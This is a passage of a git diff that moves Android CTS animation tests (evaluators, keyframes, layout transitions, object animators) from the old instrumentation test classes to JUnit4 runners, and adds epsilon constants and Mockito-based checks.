+        InstrumentationRegistry.getInstrumentation().setInTouchMode(false);
+        mActivity = mActivityRule.getActivity();
     }
 
     @UiThreadTest
+    @Test
     public void testValueAnimatorCreation() {
         ValueAnimator animator = ValueAnimator.ofFloat(0, 1);
         verifyValues(animator, 0, 1);
     }
 
     @UiThreadTest
+    @Test
     public void testValueAnimatorResourceCreation() {
         ValueAnimator animator = (ValueAnimator)
                 AnimatorInflater.loadAnimator(mActivity, R.animator.value_animator);
@@ -55,6 +65,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testValueAnimatorPvh1() {
         ValueAnimator animator = (ValueAnimator)
                 AnimatorInflater.loadAnimator(mActivity, R.animator.value_animator_pvh1);
@@ -62,6 +73,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testValueAnimatorPvh2() {
         ValueAnimator animator = (ValueAnimator)
                 AnimatorInflater.loadAnimator(mActivity, R.animator.value_animator_pvh2);
@@ -69,6 +81,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testValueAnimatorPvhKf1() {
         ValueAnimator animator = (ValueAnimator)
                 AnimatorInflater.loadAnimator(mActivity, R.animator.value_animator_pvh_kf1);
@@ -76,6 +89,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testValueAnimatorPvhKf2() {
         ValueAnimator animator = (ValueAnimator)
                 AnimatorInflater.loadAnimator(mActivity, R.animator.value_animator_pvh_kf2);
@@ -83,6 +97,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testValueAnimatorPvhKf3() {
         ValueAnimator animator = (ValueAnimator)
                 AnimatorInflater.loadAnimator(mActivity, R.animator.value_animator_pvh_kf3);
@@ -90,6 +105,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testValueAnimatorPvhKf4() {
         ValueAnimator animator = (ValueAnimator)
                 AnimatorInflater.loadAnimator(mActivity, R.animator.value_animator_pvh_kf4);
@@ -97,6 +113,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testObjectAnimator() {
         ObjectAnimator animator = (ObjectAnimator)
                 AnimatorInflater.loadAnimator(mActivity, R.animator.object_animator);
@@ -105,6 +122,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testObjectAnimatorPvh1() {
         ObjectAnimator animator = (ObjectAnimator)
                 AnimatorInflater.loadAnimator(mActivity, R.animator.object_animator_pvh1);
@@ -114,6 +132,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testObjectAnimatorPvhKf1() {
         ObjectAnimator animator = (ObjectAnimator)
                 AnimatorInflater.loadAnimator(mActivity, R.animator.object_animator_pvh_kf1);
@@ -138,32 +157,26 @@
         }
     }
 
-    private void assertRoughlyEqual(float checkValue, float correctValue) {
-        // use epsilon for float compares
-        final float epsilon = .0001f;
-        assertTrue(checkValue > correctValue - epsilon && checkValue < correctValue + epsilon);
-    }
-
     private void verifyValues(ValueAnimator animator, float... values) {
         animator.setCurrentFraction(0);
-        assertRoughlyEqual((Float) animator.getAnimatedValue(), values[0]);
+        assertEquals((Float) animator.getAnimatedValue(), values[0], EPSILON);
         for (int i = 1; i < values.length - 1; ++i) {
             animator.setCurrentFraction((float) i / (values.length - 1));
-            assertRoughlyEqual((Float) animator.getAnimatedValue(), values[i]);
+            assertEquals((Float) animator.getAnimatedValue(), values[i], EPSILON);
         }
         animator.setCurrentFraction(1);
-        assertRoughlyEqual((Float) animator.getAnimatedValue(), values[values.length - 1]);
+        assertEquals((Float) animator.getAnimatedValue(), values[values.length - 1], EPSILON);
     }
 
     private void verifyValues(ObjectAnimator animator, String propertyName, float... values) {
         animator.setCurrentFraction(0);
-        assertRoughlyEqual((Float) animator.getAnimatedValue(propertyName), values[0]);
+        assertEquals((Float) animator.getAnimatedValue(propertyName), values[0], EPSILON);
         for (int i = 1; i < values.length - 1; ++i) {
             animator.setCurrentFraction((float) i / (values.length - 1));
-            assertRoughlyEqual((Float) animator.getAnimatedValue(propertyName), values[i]);
+            assertEquals((Float) animator.getAnimatedValue(propertyName), values[i], EPSILON);
         }
         animator.setCurrentFraction(1);
-        assertRoughlyEqual((Float) animator.getAnimatedValue(propertyName),
-                values[values.length - 1]);
+        assertEquals((Float) animator.getAnimatedValue(propertyName), values[values.length - 1],
+                EPSILON);
     }
 }
diff --git a/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java b/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java
index 0812351..0e9a462 100644
--- a/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java
@@ -16,6 +16,9 @@
 
 package android.animation.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
 import android.animation.ArgbEvaluator;
 import android.animation.FloatArrayEvaluator;
 import android.animation.FloatEvaluator;
@@ -26,13 +29,21 @@
 import android.graphics.Color;
 import android.graphics.PointF;
 import android.graphics.Rect;
-import android.test.InstrumentationTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Tests for the various Evaluator classes in android.animation
  */
-public class EvaluatorTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class EvaluatorTest {
+    private static final float EPSILON = 0.001f;
 
+    @Test
     public void testFloatEvaluator() {
         float start = 0.0f;
         float end = 1.0f;
@@ -40,79 +51,102 @@
         FloatEvaluator floatEvaluator = new FloatEvaluator();
 
         float result = floatEvaluator.evaluate(0, start, end);
-        assertEquals(start, result, .001f);
+        assertEquals(start, result, EPSILON);
 
         result = floatEvaluator.evaluate(fraction, start, end);
-        assertEquals(.5f, result, .001f);
+        assertEquals(.5f, result, EPSILON);
 
         result = floatEvaluator.evaluate(1, start, end);
-        assertEquals(end, result, .001f);
+        assertEquals(end, result, EPSILON);
     }
 
+    @Test
     public void testFloatArrayEvaluator() {
+        FloatArrayEvaluator evaluator = new FloatArrayEvaluator();
+        floatArrayEvaluatorTestImpl(evaluator, null);
+
+        float[] reusableArray = new float[2];
+        FloatArrayEvaluator evaluator2 = new FloatArrayEvaluator(reusableArray);
+        floatArrayEvaluatorTestImpl(evaluator2, reusableArray);
+    }
+
+    private void floatArrayEvaluatorTestImpl(FloatArrayEvaluator evaluator, float[] reusedArray) {
         float[] start = {0f, 0f};
         float[] end = {.8f, 1.0f};
         float fraction = 0.5f;
-        FloatArrayEvaluator evaluator = new FloatArrayEvaluator();
 
         float[] result = evaluator.evaluate(0, start, end);
-        assertEquals(start[0], result[0], .001f);
-        assertEquals(start[1], result[1], .001f);
+        assertEquals(start[0], result[0], EPSILON);
+        assertEquals(start[1], result[1], EPSILON);
 
         result = evaluator.evaluate(fraction, start, end);
-        assertEquals(.4f, result[0], .001f);
-        assertEquals(.5f, result[1], .001f);
+        assertEquals(.4f, result[0], EPSILON);
+        assertEquals(.5f, result[1], EPSILON);
 
         result = evaluator.evaluate(1, start, end);
-        assertEquals(end[0], result[0], .001f);
-        assertEquals(end[1], result[1], .001f);
+        assertEquals(end[0], result[0], EPSILON);
+        assertEquals(end[1], result[1], EPSILON);
+
+        if (reusedArray != null) {
+            assertEquals(reusedArray, result);
+        }
     }
 
+    @Test
     public void testArgbEvaluator() throws Throwable {
-        final int RED =  0xffFF8080;
-        final int BLUE = 0xff8080FF;
-        int aRED = Color.alpha(RED);
-        int rRED = Color.red(RED);
-        int gRED = Color.green(RED);
-        int bRED = Color.blue(RED);
-        int aBLUE = Color.alpha(BLUE);
-        int rBLUE = Color.red(BLUE);
-        int gBLUE = Color.green(BLUE);
-        int bBLUE = Color.blue(BLUE);
+        final int START =  0xffFF8080;
+        final int END = 0xff8080FF;
+        int aSTART = Color.alpha(START);
+        int rSTART = Color.red(START);
+        int gSTART = Color.green(START);
+        int bSTART = Color.blue(START);
+        int aEND = Color.alpha(END);
+        int rEND = Color.red(END);
+        int gEND = Color.green(END);
+        int bEND = Color.blue(END);
 
         final ArgbEvaluator evaluator = new ArgbEvaluator();
 
-        int result = (Integer) evaluator.evaluate(0, RED, BLUE);
+        int result = (Integer) evaluator.evaluate(0, START, END);
         int aResult = Color.alpha(result);
         int rResult = Color.red(result);
         int gResult = Color.green(result);
         int bResult = Color.blue(result);
-        assertEquals(aRED, aResult);
-        assertEquals(rRED, rResult);
-        assertEquals(gRED, gResult);
-        assertEquals(bRED, bResult);
+        assertEquals(aSTART, aResult);
+        assertEquals(rSTART, rResult);
+        assertEquals(gSTART, gResult);
+        assertEquals(bSTART, bResult);
 
-        result = (Integer) evaluator.evaluate(.5f, RED, BLUE);
+        result = (Integer) evaluator.evaluate(.5f, START, END);
         aResult = Color.alpha(result);
         rResult = Color.red(result);
         gResult = Color.green(result);
         bResult = Color.blue(result);
         assertEquals(0xff, aResult);
-        assertEquals(rRED + (int)(.5f * (rBLUE - rRED)), rResult);
-        assertEquals(gRED + (int)(.5f * (gBLUE - gRED)), gResult);
-        assertEquals(bRED + (int)(.5f * (bBLUE - bRED)), bResult);
+        assertEquals(0x80, gResult);
+        if (rSTART < rEND) {
+            assertTrue(rResult > rSTART && rResult < rEND);
+        } else {
+            assertTrue(rResult < rSTART && rResult > rEND);
+        }
+        if (bSTART < bEND) {
+            assertTrue(bResult > bSTART && bResult < bEND);
+        } else {
+            assertTrue(bResult < bSTART && bResult > bEND);
+        }
 
-        result = (Integer) evaluator.evaluate(1, RED, BLUE);
+        result = (Integer) evaluator.evaluate(1, START, END);
         aResult = Color.alpha(result);
         rResult = Color.red(result);
         gResult = Color.green(result);
         bResult = Color.blue(result);
-        assertEquals(aBLUE, aResult);
-        assertEquals(rBLUE, rResult);
-        assertEquals(gBLUE, gResult);
-        assertEquals(bBLUE, bResult);
+        assertEquals(aEND, aResult);
+        assertEquals(rEND, rResult);
+        assertEquals(gEND, gResult);
+        assertEquals(bEND, bResult);
     }
 
+    @Test
     public void testIntEvaluator() throws Throwable {
         final int start = 0;
         final int end = 100;
@@ -129,11 +163,20 @@
         assertEquals(end, result);
     }
 
+    @Test
     public void testIntArrayEvaluator() {
+        IntArrayEvaluator evaluator = new IntArrayEvaluator();
+        intArrayEvaluatorTestImpl(evaluator, null);
+
+        int[] reusableArray = new int[2];
+        IntArrayEvaluator evaluator2 = new IntArrayEvaluator(reusableArray);
+        intArrayEvaluatorTestImpl(evaluator2, reusableArray);
+    }
+
+    private void intArrayEvaluatorTestImpl(IntArrayEvaluator evaluator, int[] reusedArray) {
         int[] start = {0, 0};
         int[] end = {80, 100};
         float fraction = 0.5f;
-        IntArrayEvaluator evaluator = new IntArrayEvaluator();
 
         int[] result = evaluator.evaluate(0, start, end);
         assertEquals(start[0], result[0]);
@@ -146,62 +189,79 @@
         result = evaluator.evaluate(1, start, end);
         assertEquals(end[0], result[0]);
         assertEquals(end[1], result[1]);
+
+        if (reusedArray != null) {
+            assertEquals(reusedArray, result);
+        }
     }
 
+    @Test
     public void testRectEvaluator() throws Throwable {
         final RectEvaluator evaluator = new RectEvaluator();
+        rectEvaluatorTestImpl(evaluator, null);
+
+        Rect reusableRect = new Rect();
+        final RectEvaluator evaluator2 = new RectEvaluator(reusableRect);
+        rectEvaluatorTestImpl(evaluator2, reusableRect);
+    }
+
+    private void rectEvaluatorTestImpl(RectEvaluator evaluator, Rect reusedRect) {
         final Rect start = new Rect(0, 0, 0, 0);
         final Rect end = new Rect(100, 200, 300, 400);
         final float fraction = 0.5f;
 
         Rect result = evaluator.evaluate(0, start, end);
-        assertEquals(start.left, result.left, .001f);
-        assertEquals(start.top, result.top, .001f);
-        assertEquals(start.right, result.right, .001f);
+        assertEquals(start.left, result.left, EPSILON);
+        assertEquals(start.top, result.top, EPSILON);
+        assertEquals(start.right, result.right, EPSILON);
         assertEquals(start.bottom, result.bottom, 001f);
 
         result = evaluator.evaluate(fraction, start, end);
-        assertEquals(50, result.left, .001f);
-        assertEquals(100, result.top, .001f);
-        assertEquals(150, result.right, .001f);
-        assertEquals(200, result.bottom, .001f);
+        assertEquals(50, result.left, EPSILON);
+        assertEquals(100, result.top, EPSILON);
+        assertEquals(150, result.right, EPSILON);
+        assertEquals(200, result.bottom, EPSILON);
 
         result = evaluator.evaluate(1, start, end);
-        assertEquals(end.left, result.left, .001f);
-        assertEquals(end.top, result.top, .001f);
-        assertEquals(end.right, result.right, .001f);
-        assertEquals(end.bottom, result.bottom, .001f);
+        assertEquals(end.left, result.left, EPSILON);
+        assertEquals(end.top, result.top, EPSILON);
+        assertEquals(end.right, result.right, EPSILON);
+        assertEquals(end.bottom, result.bottom, EPSILON);
+
+        if (reusedRect != null) {
+            assertEquals(reusedRect, result);
+        }
     }
 
+    @Test
     public void testPointFEvaluator() throws Throwable {
         final PointFEvaluator evaluator = new PointFEvaluator();
+        pointFEvaluatorTestImpl(evaluator, null);
+
+        PointF reusablePoint = new PointF();
+        final PointFEvaluator evaluator2 = new PointFEvaluator(reusablePoint);
+        pointFEvaluatorTestImpl(evaluator2, reusablePoint);
+    }
+
+    private void pointFEvaluatorTestImpl(PointFEvaluator evaluator, PointF reusedPoint) {
         final PointF start = new PointF(0, 0);
         final PointF end = new PointF(100, 200);
         final float fraction = 0.5f;
 
         PointF result = evaluator.evaluate(0, start, end);
-        assertEquals(start.x, result.x, .001f);
-        assertEquals(start.y, result.y, .001f);
+        assertEquals(start.x, result.x, EPSILON);
+        assertEquals(start.y, result.y, EPSILON);
 
         result = evaluator.evaluate(fraction, start, end);
-        assertEquals(50, result.x, .001f);
-        assertEquals(100, result.y, .001f);
+        assertEquals(50, result.x, EPSILON);
+        assertEquals(100, result.y, EPSILON);
 
         result = evaluator.evaluate(1, start, end);
-        assertEquals(end.x, result.x, .001f);
-        assertEquals(end.y, result.y, .001f);
-    }
+        assertEquals(end.x, result.x, EPSILON);
+        assertEquals(end.y, result.y, EPSILON);
 
-    /**
-     * Utility method to compare float values. Exact equality is error-prone
-     * with floating point values, so we ensure that the actual value is at least
-     * within some epsilon of the expected value.
-     */
-    private void assertEquals(float expected, float actual) {
-        if (expected != actual) {
-            final float epsilon = .001f;
-            assertTrue(actual <= expected + epsilon);
-            assertTrue(actual >= expected - epsilon);
+        if (reusedPoint != null) {
+            assertEquals(reusedPoint, result);
         }
     }
 }
diff --git a/tests/tests/animation/src/android/animation/cts/KeyframeTest.java b/tests/tests/animation/src/android/animation/cts/KeyframeTest.java
index 7366920..1072487 100644
--- a/tests/tests/animation/src/android/animation/cts/KeyframeTest.java
+++ b/tests/tests/animation/src/android/animation/cts/KeyframeTest.java
@@ -16,49 +16,65 @@
 
 package android.animation.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
 import android.animation.Keyframe;
 import android.animation.TimeInterpolator;
-import android.test.InstrumentationTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.AccelerateInterpolator;
 
-public class KeyframeTest extends InstrumentationTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class KeyframeTest {
+    @Test
     public void testGetFraction() {
         Keyframe keyFrame = Keyframe.ofInt(0.0f);
         float fraction = keyFrame.getFraction();
-        assertTrue(fraction == 0.0f);
+        assertEquals(0.0f, fraction, 0.0f);
     }
 
+    @Test
     public void testSetFraction() {
         Keyframe keyFrame = Keyframe.ofInt(0.0f);
         keyFrame.setFraction(0.5f);
         float fraction = keyFrame.getFraction();
-        assertTrue(fraction == 0.5f);
+        assertEquals(0.5f, fraction, 0.0f);
     }
 
+    @Test
     public void testOfFloat() {
         Keyframe keyFrame = Keyframe.ofFloat(0.0f);
         float fraction = keyFrame.getFraction();
-        assertEquals(fraction, 0.0f);
+        assertEquals(0.0f, fraction, 0.0f);
     }
 
+    @Test
     public void testOfIntValue() {
         Keyframe keyFrame = Keyframe.ofInt(0.0f,10);
         assertTrue(keyFrame.hasValue());
         assertEquals(keyFrame.getValue(),10);
     }
 
+    @Test
     public void testOfFloatValue() {
         Keyframe keyFrame = Keyframe.ofFloat(0.0f,9.0f);
         assertTrue(keyFrame.hasValue());
-        assertEquals(keyFrame.getValue(),9.0f);
+        assertEquals(9.0f, (float) keyFrame.getValue(), 0.0f);
     }
 
+    @Test
     public void testOfObject() {
         Keyframe keyFrame = Keyframe.ofObject(0.0f);
         float fraction = keyFrame.getFraction();
-        assertEquals(fraction, 0.0f);
+        assertEquals(0.0f, fraction, 0.0f);
     }
 
+    @Test
     public void testOfObjectValue() {
         String value = "test";
         Keyframe keyFrame = Keyframe.ofObject(0.0f, value);
@@ -66,6 +82,7 @@
         assertEquals(keyFrame.getValue(), value);
     }
 
+    @Test
     public void testGetType() {
         Keyframe keyFrame = Keyframe.ofFloat(0.0f);
         Class typeClass = keyFrame.getType();
@@ -73,12 +90,14 @@
         assertEquals(typeName, "float");
     }
 
+    @Test
     public void testClone() {
         Keyframe keyFrame = Keyframe.ofFloat(0.0f);
         Keyframe clone = keyFrame.clone();
-        assertEquals(keyFrame.getFraction(), clone.getFraction());
+        assertEquals(keyFrame.getFraction(), clone.getFraction(), 0.0f);
     }
 
+    @Test
     public void testSetInterpolator() {
         Keyframe keyFrame = Keyframe.ofFloat(0.0f);
         TimeInterpolator interpolator = new AccelerateInterpolator();
@@ -86,11 +105,12 @@
         assertEquals(interpolator, keyFrame.getInterpolator());
     }
 
+    @Test
     public void testSetValue() {
         Keyframe keyFrame = Keyframe.ofFloat(0.0f);
         Float value = new Float(100.0f);
         keyFrame.setValue(value);
-        Float actualValue = (Float)keyFrame.getValue();
+        Float actualValue = (Float) keyFrame.getValue();
         assertEquals(value, actualValue);
     }
 }
diff --git a/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java b/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
index f39fe505..da08929 100644
--- a/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
+++ b/tests/tests/animation/src/android/animation/cts/LayoutAnimationTest.java
@@ -15,11 +15,10 @@
  */
 package android.animation.cts;
 
-import java.util.Iterator;
-import java.util.LinkedList;
-import java.util.List;
-
-import android.animation.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
 
 import android.animation.Animator;
 import android.animation.LayoutTransition;
@@ -27,33 +26,48 @@
 import android.animation.ObjectAnimator;
 import android.animation.PropertyValuesHolder;
 import android.animation.TimeInterpolator;
-import android.test.ActivityInstrumentationTestCase2;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.animation.AccelerateInterpolator;
 import android.widget.Button;
 import android.widget.LinearLayout;
 
-public class LayoutAnimationTest extends
-        ActivityInstrumentationTestCase2<LayoutAnimationActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class LayoutAnimationTest {
     private LayoutAnimationActivity mActivity;
-    private MyLayoutTransition mLayoutTransition;
+    private LayoutTransition mLayoutTransition;
     private LinearLayout mView;
     private Button mButton;
 
-    public LayoutAnimationTest() {
-        super(LayoutAnimationActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<LayoutAnimationActivity> mActivityRule =
+            new ActivityTestRule<>(LayoutAnimationActivity.class);
 
-    public void setUp() throws Exception {
-        super.setUp();
-        setActivityInitialTouchMode(true);
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        InstrumentationRegistry.getInstrumentation().setInTouchMode(true);
+        mActivity = mActivityRule.getActivity();
         mView = (LinearLayout) mActivity.findViewById(R.id.container);
         mButton = (Button)mActivity.findViewById(R.id.button1);
-        mLayoutTransition = new MyLayoutTransition();
+        mLayoutTransition = new LayoutTransition();
     }
 
+    @Test
     public void testAddTransitionListener() throws Throwable {
         MyTransitionListener listener = new MyTransitionListener();
         assertNull(mLayoutTransition.getTransitionListeners());
@@ -65,6 +79,7 @@
         assertEquals(listener, actualListener);
     }
 
+    @Test
     public void testIsRunning() throws Throwable {
         setDefaultTransition();
         assertFalse(mLayoutTransition.isRunning());
@@ -72,6 +87,7 @@
         assertTrue(mLayoutTransition.isRunning());
     }
 
+    @Test
     public void testIsChangingLayout() throws Throwable {
         long duration = 2000l;
         mView.setLayoutTransition(mLayoutTransition);
@@ -84,6 +100,7 @@
         assertTrue(mLayoutTransition.isChangingLayout());
     }
 
+    @Test
     public void testSetDuration() {
         long duration = 1000l;
         mLayoutTransition.setDuration(duration);
@@ -95,12 +112,14 @@
         assertEquals(duration, mLayoutTransition.getDuration(LayoutTransition.DISAPPEARING));
     }
 
+    @Test
     public void testSetDurationForTransitionType() {
         long duration = 1000l;
         mLayoutTransition.setDuration(LayoutTransition.APPEARING, duration);
         assertEquals(duration, mLayoutTransition.getDuration(LayoutTransition.APPEARING));
     }
 
+    @Test
     public void testSetInterpolator() {
         TimeInterpolator interpolator = new AccelerateInterpolator();
         mLayoutTransition.setInterpolator(LayoutTransition.APPEARING, interpolator);
@@ -108,18 +127,20 @@
                 LayoutTransition.APPEARING));
     }
 
+    @Test
     public void testSetAnimator() {
         float startAlpha = 0.0f;
         float endAlpha = 0.5f;
         PropertyValuesHolder pvhAlpha = PropertyValuesHolder.ofFloat("alpha", startAlpha,
                 endAlpha);
-        ObjectAnimator appearingAnimator =  (ObjectAnimator) ObjectAnimator.ofPropertyValuesHolder(
-                (Object)null, pvhAlpha);
+        ObjectAnimator appearingAnimator = ObjectAnimator.ofPropertyValuesHolder(
+                (Object) null, pvhAlpha);
         appearingAnimator.setInterpolator(new AccelerateInterpolator());
         mLayoutTransition.setAnimator(LayoutTransition.APPEARING, appearingAnimator);
         assertEquals(appearingAnimator, mLayoutTransition.getAnimator(LayoutTransition.APPEARING));
     }
 
+    @Test
     public void testAnimationWithAnimator() throws Throwable {
         MyTransitionListener listener = new MyTransitionListener();
         mLayoutTransition.addTransitionListener(listener);
@@ -131,18 +152,18 @@
         float endAlpha = 0.5f;
         PropertyValuesHolder pvhAlpha = PropertyValuesHolder.ofFloat("alpha", startAlpha,
                 endAlpha);
-        ObjectAnimator appearingAnimator =  (ObjectAnimator) ObjectAnimator.ofPropertyValuesHolder(
-                (Object)null, pvhAlpha);
+        ObjectAnimator appearingAnimator = ObjectAnimator.ofPropertyValuesHolder(
+                (Object) null, pvhAlpha);
         appearingAnimator.setInterpolator(new AccelerateInterpolator());
 
         mLayoutTransition.setAnimator(LayoutTransition.APPEARING, appearingAnimator);
 
-        List<Float> alphaList = new LinkedList<Float>();
+        List<Float> alphaList = new LinkedList<>();
         clickButton();
-        while(listener.mTransition) {
+        while (listener.mTransition) {
             float alpha = mActivity.getLastButton().getAlpha();
             alphaList.add(alpha);
-            Thread.sleep(200);
+            SystemClock.sleep(200);
         }
         Iterator<Float> iterator = alphaList.iterator();
         float lastValue = 0.0f;
@@ -155,6 +176,7 @@
         }
     }
 
+    @Test
     public void testStartDelay() {
         long delay = 100l;
         int transitionType = LayoutTransition.APPEARING;
@@ -162,6 +184,7 @@
         assertEquals(delay, mLayoutTransition.getStartDelay(transitionType));
     }
 
+    @Test
     public void testSetStagger() {
         long duration = 100;
         int transitionType = LayoutTransition.CHANGE_APPEARING;
@@ -178,12 +201,8 @@
     }
 
     private void clickButton() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mButton.callOnClick();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(mButton::callOnClick);
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
     }
 
     class MyTransitionListener implements LayoutTransition.TransitionListener {
diff --git a/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java b/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
index 6ff1cf9..f19b177 100644
--- a/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/ObjectAnimatorTest.java
@@ -16,40 +16,88 @@
 
 package android.animation.cts;
 
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.atLeast;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.animation.Animator;
+import android.animation.AnimatorListenerAdapter;
 import android.animation.ArgbEvaluator;
 import android.animation.ObjectAnimator;
 import android.animation.PropertyValuesHolder;
+import android.animation.TypeConverter;
 import android.animation.ValueAnimator;
-import android.test.ActivityInstrumentationTestCase2;
+import android.app.Instrumentation;
+import android.graphics.Color;
+import android.graphics.Path;
+import android.graphics.PointF;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Property;
+import android.view.View;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.Interpolator;
 
-public class ObjectAnimatorTest extends
-        ActivityInstrumentationTestCase2<AnimationActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ObjectAnimatorTest {
+    private static final float LINE1_START = -32f;
+    private static final float LINE1_END = -2f;
+    private static final float LINE1_Y = 0f;
+    private static final float LINE2_START = 2f;
+    private static final float LINE2_END = 12f;
+    private static final float QUADRATIC_CTRL_PT1_X = 0f;
+    private static final float QUADRATIC_CTRL_PT1_Y = 0f;
+    private static final float QUADRATIC_CTRL_PT2_X = 50f;
+    private static final float QUADRATIC_CTRL_PT2_Y = 20f;
+    private static final float QUADRATIC_CTRL_PT3_X = 100f;
+    private static final float QUADRATIC_CTRL_PT3_Y = 0f;
+    private static final float EPSILON = .001f;
+
+    private Instrumentation mInstrumentation;
     private AnimationActivity mActivity;
     private ObjectAnimator mObjectAnimator;
     private long mDuration = 1000;
 
-    public ObjectAnimatorTest() {
-        super(AnimationActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<AnimationActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        setActivityInitialTouchMode(false);
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInstrumentation.setInTouchMode(false);
+        mActivity = mActivityRule.getActivity();
         mObjectAnimator = (ObjectAnimator) mActivity.createAnimatorWithDuration(mDuration);
     }
 
+    @Test
     public void testDuration() throws Throwable {
         final long duration = 2000;
-        ObjectAnimator objectAnimatorLocal = (ObjectAnimator)mActivity.createAnimatorWithDuration(
+        ObjectAnimator objectAnimatorLocal = (ObjectAnimator) mActivity.createAnimatorWithDuration(
             duration);
         startAnimation(objectAnimatorLocal);
         assertEquals(duration, objectAnimatorLocal.getDuration());
     }
+
+    @Test
     public void testOfFloat() throws Throwable {
         Object object = mActivity.view.newBall;
         String property = "y";
@@ -57,19 +105,28 @@
         float endY = mActivity.mStartY + mActivity.mDeltaY;
         ObjectAnimator objAnimator = ObjectAnimator.ofFloat(object, property, startY, endY);
         assertTrue(objAnimator != null);
-        objAnimator.setDuration(mDuration);
+
+        ValueAnimator.AnimatorUpdateListener updateListener = ((animator) -> {
+            float y = (Float) animator.getAnimatedValue();
+            assertTrue(y >= startY);
+            assertTrue(y <= endY);
+        });
+        ValueAnimator.AnimatorUpdateListener mockListener =
+                mock(ValueAnimator.AnimatorUpdateListener.class);
+        objAnimator.addUpdateListener(mockListener);
+        objAnimator.addUpdateListener(updateListener);
+        objAnimator.setDuration(200);
         objAnimator.setRepeatCount(ValueAnimator.INFINITE);
         objAnimator.setInterpolator(new AccelerateInterpolator());
         objAnimator.setRepeatMode(ValueAnimator.REVERSE);
-        startAnimation(objAnimator);
+        mActivityRule.runOnUiThread(objAnimator::start);
         assertTrue(objAnimator != null);
-        Thread.sleep(100);
-        float x = mActivity.view.newBall.getX();
-        float y = mActivity.view.newBall.getY();
-        assertTrue( y >= startY);
-        assertTrue( y <= endY);
+
+        verify(mockListener, timeout(2000).atLeast(20)).onAnimationUpdate(objAnimator);
+        mActivityRule.runOnUiThread(objAnimator::cancel);
     }
 
+    @Test
     public void testOfFloatBase() throws Throwable {
         Object object = mActivity.view.newBall;
         String property = "y";
@@ -83,85 +140,149 @@
         assertEquals(animator.getPropertyName(), objAnimator.getPropertyName());
     }
 
+    @Test
     public void testOfInt() throws Throwable {
         Object object = mActivity.view.newBall;
-        String property = "backgroundColor";
-        int startColor = mActivity.view.RED;
-        int endColor = mActivity.view.BLUE;
+        String property = "scrollY";
 
-        final ObjectAnimator colorAnimator = ObjectAnimator.ofInt(object, property,
-                startColor, endColor);
-        colorAnimator.setDuration(1000);
-        colorAnimator.setEvaluator(new ArgbEvaluator());
-        colorAnimator.setRepeatCount(1);
-        colorAnimator.setRepeatMode(ValueAnimator.REVERSE);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                colorAnimator.start();
-            }
+        final ObjectAnimator intAnimator = ObjectAnimator.ofInt(object, property, 200, 0);
+        ValueAnimator.AnimatorUpdateListener updateListener = ((animator) -> {
+            int value = (Integer) intAnimator.getAnimatedValue();
+            assertTrue(value <= 200);
+            assertTrue(value >= 0);
         });
